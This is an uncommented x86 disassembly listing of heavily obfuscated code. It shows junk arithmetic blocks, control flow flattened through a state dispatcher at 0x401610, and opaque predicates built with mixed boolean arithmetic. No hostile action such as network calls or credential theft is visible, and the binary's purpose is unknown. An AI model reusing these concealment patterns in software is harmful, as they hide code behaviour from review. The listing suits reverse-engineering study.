add esi, 0x58
or ebx, 0xaf
sub eax, 0xa2
neg eax
neg ebx
imul edx
rcl eax, 0x92
neg edx
rol eax, 0x9b
rcl ebx, 0x50
sbb esi, 0x7e
rol edx, 0x74
sbb edi, 0x68
or edi, 0x23
not edx
neg esi
sub edi, 0x82
inc edx
dec edx
inc edx
not ebx
neg eax
rcl ebx, 0
or esi, 0x10
rcl esi, 0x3d
dec eax
inc edi
imul edi
rcl edi, 0x40
rcr ebx, 0x13
neg edi
not edx
add ebx, 0x50
sbb edi, 0x88
bswap edx
not edi
add esi, 0x22
rcl ebx, 0x26
mov edi, 0xd
neg eax
add ebx, 0xdf
bswap edx
dec esi
ror ebx, 0xe2
rol edi, 0x65
neg ebx
or eax, 0x72
and esi, 0xc4
neg ebx
sub edx, 0x74
bswap edi
sbb edi, 0x7d
rcr esi, 0x4e
or eax, 0x7b
bswap eax
and esi, 0x5c
inc ebx
mov eax, 0x99
ror ebx, 0xbf
sbb edi, 0xcb
neg ebx
dec eax
and esi, 0x4e
mov eax, 0x5e
inc esi
imul edx
mov esi, 0x28
ror ebx, 0xc6
mov eax, 0xf8
mov edi, 0xb0
or esi, 0xc5
add eax, 0x6d
bswap ebx
rol eax, 0xee
inc ebx
ror edi, 0xaa
bswap edx
not esi
bswap ebx
or edx, 0xd5
sbb edi, 0xd2
neg esi
neg ebx
dec eax
imul edi
rol esi, 0xe9
rcr esi, 0x44
add ebx, 0xd6
and ebx, 0x5f
rcl eax, 0xa1
or edx, 0xc2
mov esi, 0x3a
not edi
or esi, 0xfa
rcl ebx, 0xa6
rcr esi, 0xe5
sub edi, 0x6b
or edx, 2
rol ebx, 0x54
sub edx, 0x2b
dec esi
imul edi
inc eax
ror esi, 0x5d
rol eax, 0x96
and edx, 0x94
inc eax
inc edi
and esi, 0xc1
ror ebx, 0xee
not ebx
ror esi, 0xc2
dec eax
bswap eax
not edx
bswap edi
dec eax
ror ebx, 0x97
inc ebx
rcr edi, 0xc0
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ecx]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc0]
mov ecx, dword [ecx]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x60]
add eax, 0x24
mov dword [ecx], eax
rcl edx, 0xb
rol esi, 0xfb
not eax
rcr esi, 5
mov edi, 0x1c
rcl ebx, 0x34
ror esi, 0xb8
not eax
not esi
rol edx, 0x86
rcr edx, 0xcc
dec edi
imul ebx
rol ebx, 0xda
and ebx, 0x60
bswap edi
ror esi, 0xf8
not esi
ror edi, 0xa2
bswap eax
bswap edi
sub eax, 0x81
imul edi
bswap edi
add edi, 0xb4
rcr edx, 0xd1
or ebx, 0xc2
and esi, 0xec
not edx
dec edi
dec esi
add esi, 0xcd
mov esi, 0xbf
imul edx
inc edx
sbb esi, 0x33
not eax
rcr esi, 0xfb
and edx, 0x65
rcr esi, 0x75
inc edx
inc edi
inc esi
rcr esi, 0x90
bswap ebx
and ebx, 0x77
dec ebx
rcl ebx, 0x61
rcr edi, 0x1c
sbb eax, 0x4c
ror ebx, 0x43
imul esi
rcl eax, 0x69
or edi, 0xcb
sbb esi, 0xd3
imul edi
rol eax, 0xe
or edi, 0xa1
sub eax, 0x7c
rcr ebx, 0xa6
and esi, 0x31
imul edx
mov edi, 0xdc
and eax, 0xe9
rcl esi, 0xa1
dec edi
and esi, 0x6d
or edi, 0x21
sbb edx, 0x4b
bswap esi
dec eax
mov ebx, 0xf7
inc edi
sub eax, 0xc1
neg eax
dec ebx
sub esi, 0x85
bswap esi
inc ebx
rcr eax, 0x77
rcr edi, 0x40
not edx
sub esi, 0x74
sub edi, 0xde
mov eax, 0x8c
sbb esi, 0x1e
dec eax
mov edi, 0xd4
bswap edi
imul ebx
ror edx, 0xc7
rol edx, 0xac
not esi
mov edx, 0x22
and ebx, 0xab
and ebx, 0xec
sbb edx, 0x2b
imul edi
and edi, 0x8a
imul edx
neg edi
dec edi
inc edx
rcr esi, 0x83
neg ebx
and ebx, 0xaf
rcr edi, 0x78
inc edi
not ebx
and edx, 0x53
rcl edi, 0x1d
or ebx, 0xbb
ror eax, 2
inc eax
imul ebx
rcl esi, 0x14
mov ebx, 1
add edx, 0x8c
or edx, 0x7c
ror esi, 0x9b
neg ebx
rcr ebx, 0xff
mov ebx, 0xae
add esi, 0xaf
not edi
add eax, 0x91
imul eax
ror eax, 0xf7
sub eax, 0x2e
and edx, 0x88
sbb edx, 0x8e
bswap edx
rcr edx, 0x20
rcr edx, 0xdb
neg edi
rcl esi, 0xb2
imul edx
not eax
dec esi
neg esi
or esi, 0xa9
neg ebx
bswap edx
sbb ebx, 0x52
inc ebx
dec edx
dec esi
inc edi
add eax, 0xe2
not ebx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x94]
vmovups ymmword [eax + 0x20], ymm1
vmovups ymm1, ymmword [0x4301d8]
vmovups ymmword [eax + 0x40], ymm2
vmovups ymmword [eax], ymm0
vmovups ymmword [eax + 0x58], ymm1
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + 0xe8]
mov dword [ebp - 0x144], eax
mov eax, 0xa70c1190
jmp 0x401610
mov eax, dword [ebp - 0x20]
mov dword [eax], 0xd
mov eax, 0x3923189b
jmp 0x401610
mov eax, dword [0x45d97c]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x79412a2e
mov eax, edx
and eax, 0x30412028
and ecx, edx
not edx
and edx, 0x49000a06
or eax, edx
mov edx, eax
xor edx, 0x412000
xor eax, 0xcfbedfd7
mov esi, eax
and esi, 0x7e3a1439
and edx, 0x1412a06
or edx, esi
mov esi, ecx
not esi
and ecx, 0x81c5ebc6
or eax, esi
and esi, 0x7e3a1439
or ecx, esi
not eax
mov esi, 0xb9f0f628
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x79412a2e
and ecx, 0x86bed5d1
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
or eax, ecx
mov ecx, eax
xor ecx, 0xf8e135ed
mov edx, eax
and edx, 0x20c001ac
and ecx, eax
not eax
and eax, 0xd8213441
or edx, eax
xor edx, 0x20c001ac
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x71da3333
and eax, 0x8e25cccc
or ecx, eax
mov eax, ecx
xor eax, 0x88290206
xor ecx, 0x52009800
and ecx, 0x53129cd8
and eax, 0xaced6327
or eax, ecx
mov ecx, eax
xor ecx, 0xc046120
xor eax, 0x13000888
and eax, 0xb3e90a8f
and ecx, 0x4c16f570
or ecx, eax
xor ecx, 0x4c16f570
setne dl
sete ah
cmp dword [0x45d978], 0xa
setl al
setge cl
or dl, al
or cl, ah
mov ch, al
or al, ah
xor dl, 1
xor cl, 1
xor ch, ah
xor al, 1
or cl, dl
or al, ch
mov ah, cl
mov edx, ecx
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
or ah, al
xor dl, 1
or dl, cl
mov ecx, 0xb5f10a67
xor dl, al
mov al, ah
xor dl, 1
xor al, dl
test al, 1
cmovne ecx, esi
test ah, ah
mov eax, 0xb5f10a67
jmp 0x409e04
mov eax, 0x51d757fe
jmp 0x401610
mov eax, dword [ebp - 0xac]
mov ecx, dword [0x45d97c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x5816343c
mov edx, ecx
and edx, 0xa7e9cbc3
mov edi, ecx
or edi, 0x114b9249
and ecx, 0x35b4f5a3
or esi, edx
and edi, 0x3bcffadd
mov edx, esi
xor esi, 0x1498241
xor edx, 0x20
or esi, 0x2a846894
and edx, 0x120
and esi, 0x3bcffadd
or edx, esi
mov esi, eax
and esi, 0xc4300402
and eax, 0xca4b0a5c
or esi, edi
or eax, ecx
xor esi, edx
mov edx, esi
not edx
and esi, 0x5ded5087
and edx, 0xa212af78
or esi, edx
mov edx, esi
xor edx, 0x482828d
xor esi, 0x82583010
and esi, 0xca7c7172
and edx, 0x35838e8d
or edx, esi
mov esi, edx
xor esi, 0x100888d
xor edx, 0xca7c7172
mov ecx, edx
and ecx, 0x3cb72602
and esi, 0xc348d9fd
or esi, ecx
mov ecx, eax
xor ecx, 0xc248085c
xor eax, 0x35b4f5a3
or edx, eax
and eax, 0x3cb72602
and ecx, 0xc348d9fd
or ecx, eax
not edx
xor ecx, esi
mov esi, 0x8cf076f3
or edx, ecx
mov eax, edx
not eax
and edx, 0x5fda47ec
and eax, 0xa025b813
or edx, eax
xor edx, 0x5fda47ec
setne al
sete ah
cmp dword [0x45d978], 0xa
mov ecx, eax
setl ch
setge dl
and cl, dl
and ch, ah
xor al, dl
or ch, cl
and al, ah
mov cl, ch
xor al, 1
xor cl, dl
or dl, ah
mov ah, al
and cl, ch
or al, dl
xor ah, dl
xor al, 1
mov edx, ecx
mov ch, cl
or al, ah
xor dl, 1
and dl, al
xor al, 1
xor ch, al
and al, cl
and ch, cl
or al, dl
mov edx, 0xbf23cccc
mov cl, ch
xor cl, al
test al, 1
mov eax, 0xbf23cccc
cmovne eax, esi
test ch, ch
cmove eax, edx
test cl, 1
cmovne eax, esi
jmp 0x401610
mov eax, dword [0x45d97c]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x7898e9cd
and ecx, edx
not edx
and edx, 0x7898e9cd
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xa7435a6
and eax, 0xf58bca59
or ecx, eax
mov eax, ecx
mov edx, ecx
xor ecx, 0x8d132394
xor eax, 0x72ecdc6b
xor edx, 0x72ecdc6a
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
or eax, edx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0xa03e767e
and edx, 0x5fc18981
or edx, esi
mov esi, ecx
not esi
and ecx, 0x5fc18981
or eax, esi
and esi, 0xa03e767e
or ecx, esi
not eax
mov esi, 0xdff7c94d
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xc40dd345
mov edx, ecx
and edx, 0x3bf22cba
or eax, edx
xor eax, 0xc40dd345
or eax, ecx
cmp eax, 0xffffffff
setne dl
cmp dword [0x45d978], 0xa
setge ah
setl al
mov cl, ah
and al, dl
mov ch, ah
inc cl
and cl, dl
inc dl
and ch, dl
xor dl, ah
and dl, ah
or al, ch
or cl, ch
mov ah, dl
xor dl, al
xor al, 1
xor ah, 1
or al, ah
mov ah, cl
xor al, 1
xor ah, 1
or al, dl
mov edx, eax
and cl, al
not dl
and dl, ah
or ah, al
or cl, dl
mov ch, ah
xor ch, cl
test ah, 1
mov eax, 0x8e203780
cmovne eax, esi
test cl, cl
cmove eax, esi
test ch, 1
mov ecx, 0x8e203780
cmove eax, ecx
jmp 0x401610
mov eax, dword [ebp - 0x54]
mov esi, 0x9905feaf
mov dword [eax], 2
mov ecx, dword [0x45d97c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x72b2470d
and ecx, 0x8d4db8f2
or eax, ecx
mov edx, eax
xor edx, 0x32b2470c
xor eax, 0x884d9042
and eax, 0xc84d9043
and edx, 0x37b26fbc
or edx, eax
mov ecx, edx
xor edx, 0x32b022bc
xor ecx, 0xc84d9043
mov eax, ecx
and edx, 0xf2b032bf
and eax, 0xd4fcd40
and ecx, 0xcd368d08
or eax, edx
mov edx, eax
xor edx, 0x494040
xor eax, 0xf2b032be
and edx, 0x32c972f7
and eax, 0xfffffffe
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x67736482
and edx, 0x988c9b7d
or ecx, edx
xor ecx, 0x55ba1674
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xa2b1c051
and ecx, 0x5d4e3fae
or ecx, eax
mov eax, ecx
xor eax, 0x104040
xor ecx, 0x5d4e3fae
mov edx, ecx
and edx, 0xebedb437
and eax, 0x14124bc8
or eax, edx
xor eax, 0x14124bc8
or eax, ecx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x45d978], 0xa
setl dl
setge ah
and al, ah
or ah, cl
and dl, cl
or al, dl
xor ah, 1
mov edx, 0x4635579f
xor al, ah
mov ecx, eax
xor cl, 1
and ah, cl
xor cl, ah
mov ecx, 0x9905feaf
cmovne ecx, edx
test al, al
mov edx, ecx
cmovne edx, esi
test ah, ah
jmp 0x40c0aa
cmp dword [ebp - 0x154], 0
mov eax, 0xaf87529d
mov ecx, 0x5cc76db9
cmove eax, ecx
jmp 0x401610
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov dword [ebp - 0x160], eax
mov eax, 0x9541c273
mov ecx, dword [ebp - 0x160]
mov dword [ebp - 0xf8], ecx
jmp 0x401610
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x1cc], eax
mov eax, 0x64a077f9
jmp 0x401610
cmp byte [ebp - 0x85], 0
mov eax, 0xdebbe862
mov ecx, 0x83896df7
cmovne eax, ecx
jmp 0x401610
mov eax, 0xa236282b
jmp 0x401610
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x442084cd
mov esi, eax
and esi, 0x19822930
and eax, 0xec152845
or edx, esi
mov esi, edx
xor esi, 0x20848c
xor edx, 0xbbdf7b32
mov edi, edx
and edi, 0xddc04151
and esi, 0x22acac
or esi, edi
mov edi, ecx
xor edi, 0x5da2adfd
and edi, ecx
and ecx, 0x13ead7ba
mov ebx, edi
not ebx
and edi, 0x223fbeae
or eax, ecx
or edx, ebx
and ebx, 0xddc04151
or edi, ebx
not edx
xor edi, esi
or edx, edi
mov esi, edx
not esi
and edx, 0x939440f2
and esi, 0x6c6bbf0d
or edx, esi
mov esi, edx
xor esi, 0xcc142804
xor edx, 0x31c912f1
mov edi, edx
and edi, 0x13ead7ba
and esi, 0xec152845
or esi, edi
mov edi, 0x6b5e6523
xor eax, esi
mov esi, 0x2fc6b8c8
not eax
or eax, edx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x45d978], 0xa
mov al, dl
setge cl
setl ch
mov dh, cl
and dl, ch
xor al, ch
xor dh, ah
xor al, 1
and dh, cl
and cl, ah
or cl, dl
or cl, dh
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
xor dl, al
mov ecx, edx
test dl, 1
not cl
cmovne esi, edi
test cl, al
cmovne esi, edi
test dl, 1
mov edx, esi
cmovne edx, edi
test cl, al
mov eax, dword [ebp - 0x90]
cmove edx, esi
mov eax, edx
jmp 0x401610
mov eax, dword [ebp - 0x3c]
mov eax, 0xbb770e85
jmp 0x401610
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
movzx eax, word [eax]
mov dword [ebp - 0xe0], eax
mov eax, 0xb9c9fb99
jmp 0x401610
mov eax, 0x9f977b6
jmp 0x401610
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
movzx eax, word [eax]
shr eax, 0xc
mov ecx, eax
mov edx, eax
not ecx
or edx, 3
mov edi, ecx
mov esi, edx
and esi, 5
and edi, 0xfffffbd8
and ecx, 0x1b6c
or edi, esi
mov esi, eax
xor esi, 0xc
and esi, eax
and eax, 3
mov ebx, esi
not ebx
and esi, 0xfffffffa
or eax, ecx
or edx, ebx
and ebx, 0x425
xor eax, 0xffffe493
or esi, ebx
not edx
xor esi, edi
or edx, esi
not esi
and esi, 1
and edx, 0xe
or edx, esi
xor edx, 0xe
or eax, edx
mov ecx, eax
not ecx
and eax, 0xfffff4d2
and ecx, 0xb2d
or eax, ecx
mov ecx, dword [0x45d97c]
xor eax, 0xf4d2
movzx eax, ax
mov dword [ebp - 0x1a4], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0xb83fe2db
and edx, 0x47c01d24
or edx, esi
mov esi, ecx
not esi
and ecx, 0x47c01d24
or eax, esi
and esi, 0xb83fe2db
or ecx, esi
not eax
mov esi, 0xc52ae381
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 0x8227e52b
and edx, 0xfffffffe
and ecx, 0x7dd81ad4
or eax, ecx
xor eax, 0x8227e52a
or eax, edx
mov ecx, eax
not ecx
and eax, 0x8e90b07c
and ecx, 0x716f4f83
or ecx, eax
cmp ecx, 0x8e90b07c
sete ah
cmp dword [0x45d978], 0xa
setge al
mov edx, eax
xor dl, ah
or ah, al
mov ecx, edx
xor ah, 1
not cl
and cl, al
and al, dl
xor al, 1
or cl, ah
mov ah, al
or al, dl
xor cl, 1
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
or cl, al
xor dl, al
mov eax, 0x25b75f77
mov ch, cl
xor ch, dl
test cl, 1
cmovne eax, esi
test dl, 1
mov edx, 0x25b75f77
cmove eax, esi
test ch, 1
cmove eax, edx
jmp 0x401610
cmp dword [ebp - 0x144], 0
mov eax, dword [ebp - 0x74]
setne byte [eax]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x74]
mov eax, 0x2de0e7f1
jmp 0x401610
mov eax, dword [ebp - 0x58]
mov ecx, dword [0x45d97c]
lea eax, [ecx + 1]
imul eax, ecx
andn ecx, eax, eax
mov edx, eax
not edx
mov edi, eax
and edi, 0xd28a6b07
mov esi, ecx
not esi
and edx, 0x2d7594f8
and ecx, 0x2d7594f8
or eax, esi
and esi, 0xd28a6b07
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x80940010
mov edx, ecx
mov edi, ecx
or edx, 0x37022ac5
and esi, 0xb7962ad5
and edi, 0x828d50a
or ecx, 1
or edi, esi
mov esi, eax
and edx, 0xb7962ad5
and esi, 0x40410020
and eax, 0x2a55ab36
or esi, edx
xor esi, edi
mov edx, esi
not edx
and esi, 0x3f2affce
and edx, 0xc0d50031
or esi, edx
mov edx, esi
not edx
and esi, 0x2a55ab36
mov edi, edx
or edx, ecx
and edi, 0xd5aa54c9
and ecx, 0xd5aa54c9
or esi, edi
or eax, ecx
not edx
mov edi, 0xd1ceb710
xor eax, esi
mov esi, 0x332892bb
or edx, eax
mov eax, edx
not eax
and edx, 0xbecb8ca2
and eax, 0x4134735d
or edx, eax
mov eax, edx
xor eax, 0xe0188a0
xor edx, 0x207209
and edx, 0xb0ea760b
and eax, 0x4f1589f4
or eax, edx
mov ecx, eax
xor ecx, 0x108a0009
xor eax, 0x41140110
and ecx, 0x1e8b88ed
and eax, 0xe1747712
or eax, ecx
mov ecx, eax
xor ecx, 0x60208cd
xor eax, 0x21447302
and eax, 0x39cdf322
and ecx, 0xc6320cdd
or ecx, eax
xor ecx, 0xc6320cdd
sete dl
setne ah
cmp dword [0x45d978], 0xa
setge al
setl cl
and ah, cl
and al, dl
or cl, dl
or al, ah
mov ah, cl
mov edx, eax
xor dl, 1
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
xor al, cl
or cl, dl
mov edx, eax
xor dl, cl
not dl
test dl, 1
cmovne edi, esi
test cl, 1
mov esi, 0xd1ceb710
cmovne esi, edi
test al, 1
cmovne esi, edi
mov eax, esi
jmp 0x401610
mov eax, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x108]
mov eax, 0x1852767
jmp 0x401610
mov eax, 0xd916dd81
jmp 0x401610
mov eax, dword [0x45d97c]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
and edx, 0x5a1e618d
and ecx, 0xa5e19e72
or ecx, edx
mov edx, ecx
mov eax, ecx
xor eax, 0xa5e19e72
xor edx, 0x5a1e618d
xor ecx, 0xbbdeec43
mov esi, eax
and ecx, edx
and esi, 0xe1c08dce
and edx, 0x6ea58b07
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xbbd12ba1
and esi, 0x442ed45e
or ecx, esi
mov esi, eax
and esi, 0x915a74f8
and eax, 1
or esi, edx
xor ecx, 0x5a11a66e
xor esi, 0x6ea58b06
or eax, esi
mov edx, eax
not edx
and eax, 0x58d96118
and edx, 0xa7269ee7
or eax, edx
xor eax, 0x58d96118
or eax, ecx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x897d3e51
and eax, 0x7682c1ae
or ecx, eax
mov eax, ecx
xor eax, 0x9480e50
xor ecx, 0x7682c1ae
mov esi, ecx
and esi, 0xd0b73121
and eax, 0x2f48cede
or eax, esi
mov esi, edx
not esi
and edx, 0x2f48cede
or ecx, esi
and esi, 0xd0b73121
or edx, esi
not ecx
mov esi, 0x80617570
xor edx, eax
or ecx, edx
sete dl
setne ah
cmp dword [0x45d978], 0xa
setl al
setge cl
mov ch, al
and cl, dl
xor ch, ah
and ah, al
or al, dl
mov dl, ch
or cl, ah
xor dl, al
or al, ch
mov ah, cl
xor al, 1
or al, dl
mov edx, ecx
and ah, al
xor al, 1
xor dl, 1
and dl, al
or dl, ah
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xc1fb716a
cmovne eax, esi
test dl, dl
mov edx, 0xc1fb716a
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401610
mov eax, dword [ebp - 0x18c]
mov ecx, 0xd8b8d98d
cmp eax, dword [ebp - 0x194]
mov eax, 0xa9d87c21
cmovb eax, ecx
jmp 0x401610
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x100], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x104], eax
mov eax, 0xd90ec8d3
jmp 0x401610
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax]
mov dword [ebp - 0x110], eax
mov eax, 0x6e53fd60
jmp 0x401610
rol esi, 0x56
rcr ebx, 0x4e
rol esi, 0xda
sub edi, 0xf9
rcl ebx, 0x4e
sub ebx, 0xbc
ror edi, 0x63
imul edi
imul edi
add esi, 0xe2
or esi, 0x8d
imul ebx
add esi, 0x61
sub edi, 0x1c
dec edi
mov edi, 0xb0
mov ebx, 0x16
add eax, 0xa0
rcl esi, 0x2d
neg eax
add esi, 0xac
rcr edi, 0x1e
sub edi, 0xef
rcl edx, 0xa3
ror edi, 0x93
neg esi
neg esi
not eax
bswap edi
dec esi
rol eax, 0xc3
dec edi
and ebx, 0x4a
neg edi
sbb ebx, 0xa4
inc ebx
inc edx
ror edi, 0x1e
add edx, 0x1a
inc esi
rol esi, 0xa9
rcr esi, 0x29
sub edx, 0x2a
add eax, 0x2b
rol edi, 0xb3
imul esi
and ebx, 0x5d
imul edi
inc edi
not eax
add edx, 0xa7
mov edi, 0xb3
neg edi
neg esi
rol edx, 0x7a
and eax, 0xad
or edx, 0xd8
and eax, 0xcc
inc ebx
ror edi, 0xda
ror eax, 0x2c
imul edx
ror ebx, 0x77
inc ebx
dec ebx
sub eax, 0x99
inc eax
ror eax, 0x36
not ebx
dec edi
rol ebx, 0x83
mov eax, 0x9d
sub ebx, 0xe2
sub eax, 0x52
bswap edi
rol edi, 0x74
rol edi, 0x15
sub eax, 0x7f
sub ebx, 0x3a
sub edx, 0xb3
and edx, 0xbe
sbb ebx, 0xc1
imul edx
neg eax
imul edi
bswap ebx
add ebx, 0x79
and edx, 0x6d
sbb eax, 0x57
inc edx
sbb ebx, 0xca
sub edx, 0x22
mov eax, 0x2e
dec edi
dec eax
dec esi
mov edx, 6
mov ebx, 0x75
not edi
or esi, 0x5b
dec edx
imul edx
rol esi, 0xfa
rcl edx, 0x19
bswap ebx
not esi
rcl ebx, 0xa0
not edi
dec eax
neg edi
neg edx
and edi, 0xd6
imul edx
dec ebx
add eax, 0xeb
sub edx, 0x73
rcl esi, 0x9b
inc eax
dec edi
rcl eax, 0x35
inc eax
rol ebx, 0x56
not edx
sub eax, 0x2a
dec esi
and edi, 0x7e
inc eax
and edx, 0x2f
imul esi
or eax, 0xb7
inc edi
sub eax, 0x48
sub esi, 0x68
imul ebx
bswap edi
rcr esi, 0x3e
bswap edi
not esi
neg esi
neg eax
inc edi
sub ebx, 0x33
and edi, 0xd4
bswap ebx
or eax, 0xa8
inc ebx
inc edx
inc eax
ror esi, 0xfc
or eax, 0x22
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x1c]
mov eax, 0x11aa320f
jmp 0x401610
mov eax, 0xc1bb39c3
jmp 0x401610
mov eax, 0x4c206fe2
jmp 0x401610
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov dword [ebp - 0x1d0], eax
mov eax, dword [ebp - 0x24]
movzx eax, word [eax + 6]
mov dword [ebp - 0x1d4], eax
mov eax, 0x44fc0a76
jmp 0x401610
mov eax, dword [ebp - 0x104]
mov eax, dword [ebp - 0x100]
mov eax, 0x8e203780
jmp 0x401610
mov eax, 0xdcb9d950
jmp 0x401610
mov eax, 0x88d49013
jmp 0x401610
mov eax, dword [ebp - 0x58]
mov dword [eax], 0
mov eax, 0x28ca5f48
jmp 0x401610
mov ecx, dword [0x45d97c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0xc385911c
and ecx, 0x3c7a6ee3
or eax, ecx
mov ecx, eax
xor ecx, 0x3811108
xor eax, 0x3c5828a3
and eax, 0xfc5ca8b7
and ecx, 0x3a35748
or ecx, eax
mov eax, ecx
mov edx, ecx
xor ecx, 0x3a35748
xor eax, 0xfc5ca8b7
xor edx, 0xfc5ca8b6
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
and edx, 0xe03be07
mov esi, ecx
and esi, 0xf1fc41f8
or edx, esi
mov esi, eax
not esi
and eax, 0xe03be07
or ecx, esi
and esi, 0xf1fc41f8
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
andn edx, ecx, ecx
not ecx
and eax, 0x4c959591
and ecx, 0xb36a6a6e
or eax, ecx
mov ecx, eax
xor ecx, 0x40049580
xor eax, 0xb36a6a6e
mov esi, eax
and esi, 0xfd3087d
and ecx, 0xf02cf782
or ecx, esi
mov esi, edx
not esi
and edx, 0xf02cf782
or eax, esi
and esi, 0xfd3087d
or edx, esi
not eax
mov esi, 0x4567ac43
xor edx, ecx
or eax, edx
sete ch
setne ah
cmp dword [0x45d978], 0xa
setl dl
setge cl
mov al, dl
xor al, ch
and ch, al
and al, dl
xor ch, 1
xor al, 1
mov dh, ch
xor dh, al
or al, ch
mov ch, ah
xor al, 1
inc ch
or al, dh
mov dh, ch
xor ch, dl
and dl, ah
and dh, cl
or cl, ah
or dl, dh
xor cl, 1
xor dl, 1
or cl, ch
mov ah, dl
or dl, cl
xor ah, cl
xor dl, 1
mov ecx, eax
or dl, ah
mov ah, dl
xor cl, dl
and dl, al
and cl, al
xor ah, 1
xor al, 1
and al, ah
or dl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x12caaaaf
cmovne eax, esi
test dl, 1
mov edx, eax
cmovne edx, esi
jmp 0x401600
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xcc]
mov eax, 0xc1bb39c3
jmp 0x401610
mov eax, dword [ebp - 0x7c]
mov eax, 0x188807dc
jmp 0x401610
mov eax, 0xcedc6686
jmp 0x401610
mov eax, dword [0x45d97c]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x79f11a08
mov eax, edx
and eax, 0x9aabc83d
andn esi, edx, ecx
not edx
and edx, 0x655437c2
or edx, eax
mov eax, edx
xor edx, 0x9aabc83d
xor eax, 0x655437c2
mov ecx, edx
or ecx, 0x79f11a08
mov ebx, eax
and ebx, 0x820e6017
and edx, 0xcb5ddce6
mov edi, ecx
and edi, 0x2ce09de8
or ebx, edi
mov edi, esi
not edi
and esi, 0xd31f6217
or ecx, edi
and edi, 0x2ce09de8
or esi, edi
not ecx
mov edi, 0x74fe23b
xor esi, ebx
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xac4746e8
and esi, 0x53b8b917
or ecx, esi
mov esi, eax
and esi, 0x34a22319
and eax, 1
or esi, edx
xor ecx, 0x2a49a31e
xor esi, 0xcb5ddce7
or eax, esi
mov esi, 0xa5f71db5
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xcfe5950
and ecx, 0xf301a6af
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xd139e1bd
and ecx, 0x2ec61e42
or eax, ecx
mov ecx, eax
xor ecx, 0x20300612
xor eax, 0x44062881
and eax, 0x460e6981
and ecx, 0xb9f1967e
or ecx, eax
xor ecx, 0x460e6981
setne dl
sete al
cmp dword [0x45d978], 0xa
mov ecx, edx
setl ah
setge ch
mov dh, ah
and cl, ch
xor dl, ch
and dh, al
and dl, al
xor al, ah
or dh, cl
and al, ah
mov cl, dh
or al, dl
xor cl, ch
and cl, dh
mov edx, ecx
mov ah, cl
xor dl, 1
and dl, al
xor al, 1
xor ah, al
and al, cl
or al, dl
and ah, cl
mov edx, 0x74fe23b
mov ecx, eax
xor cl, ah
test al, al
cmovne edx, esi
test ah, ah
cmove edx, edi
test cl, 1
jmp 0x40d26d
